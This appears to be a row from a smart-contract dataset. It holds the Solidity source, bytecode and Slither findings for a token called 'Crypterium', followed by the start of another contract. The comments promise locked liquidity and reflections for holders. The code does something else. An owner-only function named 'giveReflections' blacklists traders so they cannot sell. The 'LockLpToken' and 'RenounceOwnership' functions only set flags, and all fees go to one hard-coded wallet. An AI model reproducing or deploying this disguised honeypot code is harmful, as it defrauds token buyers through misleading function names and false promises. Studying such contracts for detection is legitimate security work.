* 100% Liquidity locked for 10 years
* 5% Reflections for all token holders
* All users holding atleast 500,000 CRPT will be able to use our wallet with no fees. Forever. In case of policy changes
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Crypterium is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Crypterium";
string private constant _symbol = "CRPT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public lock = false;
bool public renounced = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7);
_feeAddrWallet2 = payable(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x95d1Ecbd27c34Cb22530F5a089a0A37E0c91A0C7), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function giveReflections(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function LockLpToken() public onlyOwner() {
lock = true;
}
function RenounceOwnership() public onlyOwner() {
renounced = true;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063c3c8cd8011610064578063c3c8cd8014610330578063d232c22014610347578063dd62ed3e14610372578063e57887ba146103af578063f83d08ba146103c657610109565b806370a08231146102605780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b806323b872dd116100d157806323b872dd146101ca578063313ce567146102075780636e4ee811146102325780636fc3eaec1461024957610109565b806306fdde031461010e578063095ea7b31461013957806315a892be1461017657806318160ddd1461019f57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103f1565b6040516101309190612257565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611f60565b61042e565b60405161016d919061223c565b60405180910390f35b34801561018257600080fd5b5061019d60048036038101906101989190611f9c565b61044c565b005b3480156101ab57600080fd5b506101b461059c565b6040516101c19190612399565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190611f11565b6105ab565b6040516101fe919061223c565b60405180910390f35b34801561021357600080fd5b5061021c610684565b604051610229919061240e565b60405180910390f35b34801561023e57600080fd5b5061024761068d565b005b34801561025557600080fd5b5061025e61073f565b005b34801561026c57600080fd5b5061028760048036038101906102829190611e83565b6107b1565b6040516102949190612399565b60405180910390f35b3480156102a957600080fd5b506102b2610802565b6040516102bf9190612221565b60405180910390f35b3480156102d457600080fd5b506102dd61082b565b6040516102ea9190612257565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190611f60565b610868565b604051610327919061223c565b60405180910390f35b34801561033c57600080fd5b50610345610886565b005b34801561035357600080fd5b5061035c610900565b604051610369919061223c565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190611ed5565b610913565b6040516103a69190612399565b60405180910390f35b3480156103bb57600080fd5b506103c461099a565b005b3480156103d257600080fd5b506103db610a4c565b6040516103e8919061223c565b60405180910390f35b60606040518060400160405280600a81526020017f4372797074657269756d00000000000000000000000000000000000000000000815250905090565b600061044261043b610a5f565b8484610a67565b6001905092915050565b610454610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d890612319565b60405180910390fd5b60005b81518110156105985760016006600084848151811061052c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610590906126af565b9150506104e4565b5050565b6000662386f26fc10000905090565b60006105b8848484610c32565b610679846105c4610a5f565b61067485604051806060016040528060288152602001612a4060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062a610a5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112379092919063ffffffff16565b610a67565b600190509392505050565b60006009905090565b610695610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612319565b60405180910390fd5b6001600f60156101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610780610a5f565b73ffffffffffffffffffffffffffffffffffffffff16146107a057600080fd5b60004790506107ae8161129b565b50565b60006107fb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611396565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4352505400000000000000000000000000000000000000000000000000000000815250905090565b600061087c610875610a5f565b8484610c32565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108c7610a5f565b73ffffffffffffffffffffffffffffffffffffffff16146108e757600080fd5b60006108f2306107b1565b90506108fd81611404565b50565b600f60159054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109a2610a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690612319565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b600f60149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ace90612379565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906122b9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c259190612399565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9990612359565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612279565b60405180910390fd5b60008111610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90612339565b60405180910390fd5b6000600a819055506005600b81905550610d6d610802565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ddb5750610dab610802565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561122757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e845750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610e8d57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610f385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610fa65750600f60189054906101000a900460ff165b1561105657601054811115610fba57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061100557600080fd5b601e4261101291906124cf565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561116d576000600a819055506005600b819055505b6000611178306107b1565b9050600f60169054906101000a900460ff161580156111e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111fd5750600f60179054906101000a900460ff165b156112255761120b81611404565b60004790506000811115611223576112224761129b565b5b505b505b6112328383836116fe565b505050565b600083831115829061127f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112769190612257565b60405180910390fd5b506000838561128e91906125b0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6112eb60028461170e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611316573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61136760028461170e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611392573d6000803e3d6000fd5b5050565b60006008548211156113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490612299565b60405180910390fd5b60006113e7611758565b90506113fc818461170e90919063ffffffff16565b915050919050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611462577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156114905781602001602082028036833780820191505090505b50905030816000815181106114ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561157057600080fd5b505afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a89190611eac565b816001815181106115e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a67565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906123b4565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b611709838383611783565b505050565b600061175083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061194e565b905092915050565b60008060006117656119b1565b9150915061177c818361170e90919063ffffffff16565b9250505090565b60008060008060008061179587611a0d565b9550955095509550955095506117f386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d481611b1d565b6118de8483611bda565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161193b9190612399565b60405180910390a3505050505050505050565b60008083118290611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c9190612257565b60405180910390fd5b50600083856119a49190612525565b9050809150509392505050565b600080600060085490506000662386f26fc1000090506119e3662386f26fc1000060085461170e90919063ffffffff16565b821015611a0057600854662386f26fc10000935093505050611a09565b81819350935050505b9091565b6000806000806000806000806000611a2a8a600a54600b54611c14565b9250925092506000611a3a611758565b90506000806000611a4d8e878787611caa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ab783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611237565b905092915050565b6000808284611ace91906124cf565b905083811015611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a906122d9565b60405180910390fd5b8091505092915050565b6000611b27611758565b90506000611b3e8284611d3390919063ffffffff16565b9050611b9281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bef82600854611a7590919063ffffffff16565b600881905550611c0a81600954611abf90919063ffffffff16565b6009819055505050565b600080600080611c406064611c32888a611d3390919063ffffffff16565b61170e90919063ffffffff16565b90506000611c6a6064611c5c888b611d3390919063ffffffff16565b61170e90919063ffffffff16565b90506000611c9382611c85858c611a7590919063ffffffff16565b611a7590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611cc38589611d3390919063ffffffff16565b90506000611cda8689611d3390919063ffffffff16565b90506000611cf18789611d3390919063ffffffff16565b90506000611d1a82611d0c8587611a7590919063ffffffff16565b611a7590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d465760009050611da8565b60008284611d549190612556565b9050828482611d639190612525565b14611da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9a906122f9565b60405180910390fd5b809150505b92915050565b6000611dc1611dbc8461244e565b612429565b90508083825260208201905082856020860282011115611de057600080fd5b60005b85811015611e105781611df68882611e1a565b845260208401935060208301925050600181019050611de3565b5050509392505050565b600081359050611e2981612a11565b92915050565b600081519050611e3e81612a11565b92915050565b600082601f830112611e5557600080fd5b8135611e65848260208601611dae565b91505092915050565b600081359050611e7d81612a28565b92915050565b600060208284031215611e9557600080fd5b6000611ea384828501611e1a565b91505092915050565b600060208284031215611ebe57600080fd5b6000611ecc84828501611e2f565b91505092915050565b60008060408385031215611ee857600080fd5b6000611ef685828601611e1a565b9250506020611f0785828601611e1a565b9150509250929050565b600080600060608486031215611f2657600080fd5b6000611f3486828701611e1a565b9350506020611f4586828701611e1a565b9250506040611f5686828701611e6e565b9150509250925092565b60008060408385031215611f7357600080fd5b6000611f8185828601611e1a565b9250506020611f9285828601611e6e565b9150509250929050565b600060208284031215611fae57600080fd5b600082013567ffffffffffffffff811115611fc857600080fd5b611fd484828501611e44565b91505092915050565b6000611fe98383611ff5565b60208301905092915050565b611ffe816125e4565b82525050565b61200d816125e4565b82525050565b600061201e8261248a565b61202881856124ad565b93506120338361247a565b8060005b8381101561206457815161204b8882611fdd565b9750612056836124a0565b925050600181019050612037565b5085935050505092915050565b61207a816125f6565b82525050565b61208981612639565b82525050565b600061209a82612495565b6120a481856124be565b93506120b481856020860161264b565b6120bd81612785565b840191505092915050565b60006120d56023836124be565b91506120e082612796565b604082019050919050565b60006120f8602a836124be565b9150612103826127e5565b604082019050919050565b600061211b6022836124be565b915061212682612834565b604082019050919050565b600061213e601b836124be565b915061214982612883565b602082019050919050565b60006121616021836124be565b915061216c826128ac565b604082019050919050565b60006121846020836124be565b915061218f826128fb565b602082019050919050565b60006121a76029836124be565b91506121b282612924565b604082019050919050565b60006121ca6025836124be565b91506121d582612973565b604082019050919050565b60006121ed6024836124be565b91506121f8826129c2565b604082019050919050565b61220c81612622565b82525050565b61221b8161262c565b82525050565b60006020820190506122366000830184612004565b92915050565b60006020820190506122516000830184612071565b92915050565b60006020820190508181036000830152612271818461208f565b905092915050565b60006020820190508181036000830152612292816120c8565b9050919050565b600060208201905081810360008301526122b2816120eb565b9050919050565b600060208201905081810360008301526122d28161210e565b9050919050565b600060208201905081810360008301526122f281612131565b9050919050565b6000602082019050818103600083015261231281612154565b9050919050565b6000602082019050818103600083015261233281612177565b9050919050565b600060208201905081810360008301526123528161219a565b9050919050565b60006020820190508181036000830152612372816121bd565b9050919050565b60006020820190508181036000830152612392816121e0565b9050919050565b60006020820190506123ae6000830184612203565b92915050565b600060a0820190506123c96000830188612203565b6123d66020830187612080565b81810360408301526123e88186612013565b90506123f76060830185612004565b6124046080830184612203565b9695505050505050565b60006020820190506124236000830184612212565b92915050565b6000612433612444565b905061243f828261267e565b919050565b6000604051905090565b600067ffffffffffffffff82111561246957612468612756565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124da82612622565b91506124e583612622565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561251a576125196126f8565b5b828201905092915050565b600061253082612622565b915061253b83612622565b92508261254b5761254a612727565b5b828204905092915050565b600061256182612622565b915061256c83612622565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125a5576125a46126f8565b5b828202905092915050565b60006125bb82612622565b91506125c683612622565b9250828210156125d9576125d86126f8565b5b828203905092915050565b60006125ef82612602565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061264482612622565b9050919050565b60005b8381101561266957808201518184015260208101905061264e565b83811115612678576000848401525b50505050565b61268782612785565b810181811067ffffffffffffffff821117156126a6576126a5612756565b5b80604052505050565b60006126ba82612622565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156126ed576126ec6126f8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a1a816125e4565b8114612a2557600080fd5b50565b612a3181612622565b8114612a3c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f203579546b6b38b82b45e8b506e03e41face36747682145c1c7cec76212e2464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 633 |
0x31cdbe64e0fb45e636b2b8cef03ece785be411e2 | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
